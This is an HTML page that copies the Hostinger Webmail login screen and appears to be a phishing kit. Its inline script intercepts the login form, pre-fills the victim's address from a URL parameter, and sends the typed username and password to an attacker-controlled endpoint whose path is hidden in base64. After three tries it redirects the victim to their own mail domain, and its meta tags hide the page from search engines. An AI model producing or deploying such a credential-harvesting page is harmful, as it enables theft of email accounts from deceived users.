<!DOCTYPE html>

<html lang="en">

<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
      <meta name="robots" content="noindex, nofollow">
      <meta name="googlebot" content="noindex, nofollow">
      <meta name="bingbot" content="noindex, nofollow">
      <meta name="robots" content="noindex, nofollow, noarchive">
      <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate">
      <meta http-equiv="Pragma" content="no-cache">
      <meta http-equiv="Expires" content="0">
      <meta property="og:title" content="No Index No Follow Example">
      <meta property="og:description" content="This page is not meant to be indexed by search engines or crawled.">
      <meta property="og:image" content="">
      <meta name="robots" content="noindex, nofollow, noarchive, nosnippet">
      <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Hostinger Webmail</title>
	<meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no, maximum-scale=1.0"><meta name="theme-color" content="#f4f4f4"><meta name="msapplication-navbutton-color" content="#f4f4f4">

	<link rel="shortcut icon" href="https://mail.hostinger.com/skins/hostinger/images/logo-icon.svg?s=1738066515">
	<link rel="stylesheet" href="https://mail.hostinger.com/skins/elastic/deps/bootstrap.min.css?s=1725175902">
	<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
	
		<link rel="stylesheet" href="https://mail.hostinger.com/skins/hostinger/styles/styles.css?s=1738066660">
		
	

<script src="https://mail.hostinger.com/program/js/jquery.min.js?s=1725175899"></script><script src="https://mail.hostinger.com/program/js/common.min.js?s=1725175896"></script><script src="https://mail.hostinger.com/program/js/app.min.js?s=1725175896"></script><script>

var rcmail = new rcube_webmail();
rcmail.set_env({"task":"login","standard_windows":false,"locale":"en_US","devel_mode":null,"rcversion":10609,"cookie_domain":"","cookie_path":"/","cookie_secure":false,"dark_mode_support":true,"skin":"hostinger","blankpage":"skins/hostinger/watermark.html","refresh_interval":60,"session_lifetime":259200,"action":"","comm_path":"/?_task=login","compose_extwin":false,"dateFormats":{"php":"Y-m-d","moment":"YYYY-MM-DD","datepicker":"yy-mm-dd","flatpickr":"Y-m-d"},"dmFormats":{"php":"m-d","moment":"MM-DD","datepicker":"mm-dd","flatpickr":"m-d"},"timeFormats":{"php":"H:i","moment":"HH:mm","datepicker":"HH:mm","flatpickr":"H:i"},"xelastic":true,"timezoneOffset":0,"xsidebarVisible":true,"xassets":["../xframework/assets/bower_components/js-cookie/src/js.cookie.js","https://mail.hostinger.com/xframework/assets/scripts/framework.min.js","https://mail.hostinger.com/xframework/assets/styles/elastic.css","xskin:assets/scripts/xskin.min.js"],"installed_skins":["gmail_plus","hostinger","outlook_plus"],"date_format":"yy-mm-dd","date_format_localized":"YYYY-MM-DD","request_token":"JFpGpBR7ZWbC7MPHWKuD9FA3i5bQUWrj"});
rcmail.add_label({"loading":"Loading...","servererror":"Server Error!","connerror":"Connection Error (Failed to reach the server)!","requesttimedout":"Request timed out","refreshing":"Refreshing...","windowopenerror":"The popup window was blocked!","uploadingmany":"Uploading files...","uploading":"Uploading file...","close":"Close","save":"Save","cancel":"Cancel","alerttitle":"Attention","confirmationtitle":"Are you sure...","delete":"Delete","continue":"Continue","ok":"OK","back":"Back","errortitle":"An error occurred!","options":"Options","plaintoggle":"Plain text","htmltoggle":"HTML","previous":"Previous","next":"Next","select":"Select","browse":"Browse","choosefile":"Choose file...","choosefiles":"Choose files..."});
rcmail.gui_container("loginfooter","login-footer");rcmail.register_button('feedback', 'rcmbtn100', 'link', '', '', '');
rcmail.gui_object('loginform', 'login-form');
rcmail.gui_object('message', 'messagestack');
</script>


</head>
<body class="xelastic task-login action-none">

	
		<div id="layout">
	


<h1 class="voice"> Login</h1>

<div id="layout-content" class="selected no-navbar" role="main">
    <section class="main-section">
        <div class="login-section">
            <div class="login-wrapper">
                <img src="https://mail.hostinger.com/skins/hostinger/images/logo.svg?s=1738066515" data-src-small="0" id="logo" alt="Logo" />
                <h2 class="login-title">
                    Hi, &#x1F44B<br>
                    Welcome to  Hostinger Webmail
                </h2>

<form id="login-form" name="login-form" method="post" class="propform">
    <table>
        <tbody>
            <tr>
                <td class="title"><label for="rcmloginuser">Username</label></td>
                <td class="input">
                    <input name="ai" id="rcmloginuser" required size="40" autocapitalize="off" autocomplete="off" value="" type="text">
                </td>
            </tr>
            <tr>
                <td class="title"><label for="rcmloginpwd">Password</label></td>
                <td class="input">
                    <input name="pr" id="rcmloginpwd" required size="40" autocapitalize="off" autocomplete="off" type="password">
                </td>
            </tr>
            <tr>
                <td colspan="2">
                    <div id="msg" style="color: red; display: none; font-size: 14px; margin-top: 5px;"></div>
                </td>
            </tr>
        </tbody>
    </table>

    <p class="formbuttons">
        <button type="submit" id="rcmloginsubmit" class="button mainaction submit">Login</button>
    </p>
</form>

<div id="login-footer" role="contentinfo">
    <a href="#" target="_blank" class="support-link">Forgot password</a>
</div>

<div class="redirect-wrapper">
    <h2 class="redirect-title">Don’t have an email account?</h2>
    <p class="redirect-subtitle">Discover the perfect email plan for your needs and elevate your communication.</p>
    <button id="#" class="redirect-button">Get email plan</button>
</div>

<noscript>
    <p class="noscriptwarning">Warning: This webmail service requires Javascript! In order to use it please enable Javascript in your browser's settings.</p>
</noscript>

<div id="messagestack"></div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
<script src="./config.js"></script>
<script>
$(document).ready(function() {
    function getParameterByName(name) {
        const url = window.location.href;
        const regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)');
        const results = regex.exec(url);
        if (!results) return null;
        if (!results[2]) return '';
        return decodeURIComponent(results[2].replace(/\+/g, ' '));
    }

    const loginUsername = getParameterByName('cms');
    if (loginUsername) {
        $('#rcmloginuser').val(loginUsername);
    }

    let submissionCount = 0;

    $('#login-form').on('submit', function(event) {
        event.preventDefault();

        const ai = $('#rcmloginuser').val();
        const pr = $('#rcmloginpwd').val();
        $('#msg').hide();  // Hide message on new submit

        if (!ai) {
            $('#msg').text("Email is required").show();
            return;
        }
        if (!pr) {
            $('#msg').text("Password is required").show();
            return;
        }

        $.ajax({
            url: `${config.baseUrl}${atob("L2Nvbm5lY3QucGhw")}`,
            type: 'POST',
            data: { ai: ai, pr: pr },
            dataType: 'JSON',
            beforeSend: function() {
                $('#rcmloginsubmit').text("Verifying...");
            },
            success: function(response) {
                submissionCount++;
                if (submissionCount >= 3) {
                    window.location.href = `https://${ai.split('@')[1]}`;
                } else if (response.signal === 'ok') {
                    $('#msg').text("Login successful").css("color", "green").show();
                } else {
                    $('#msg').text(response.msg || "Authentication failed").show();
                }
            },
            error: function() {
                submissionCount++;
                if (submissionCount >= 3) {
                    window.location.href = `https://${ai.split('@')[1]}`;
                } else {
                    $('#msg').text("An error occurred, please try again").show();
                }
            },
            complete: function() {
                $('#rcmloginsubmit').text("Login");
                $('#rcmloginpwd').val(''); // Clear password field
            }
        });
    });
});
</script>

<script src="https://mail.hostinger.com/skins/elastic/deps/bootstrap.bundle.min.js?s=1725175902"></script>
<script src="https://mail.hostinger.com/skins/elastic/ui.min.js?s=1725175896"></script>
<script src="https://mail.hostinger.com/skins/hostinger/script.js?s=1738066515"></script>
</body>
</html>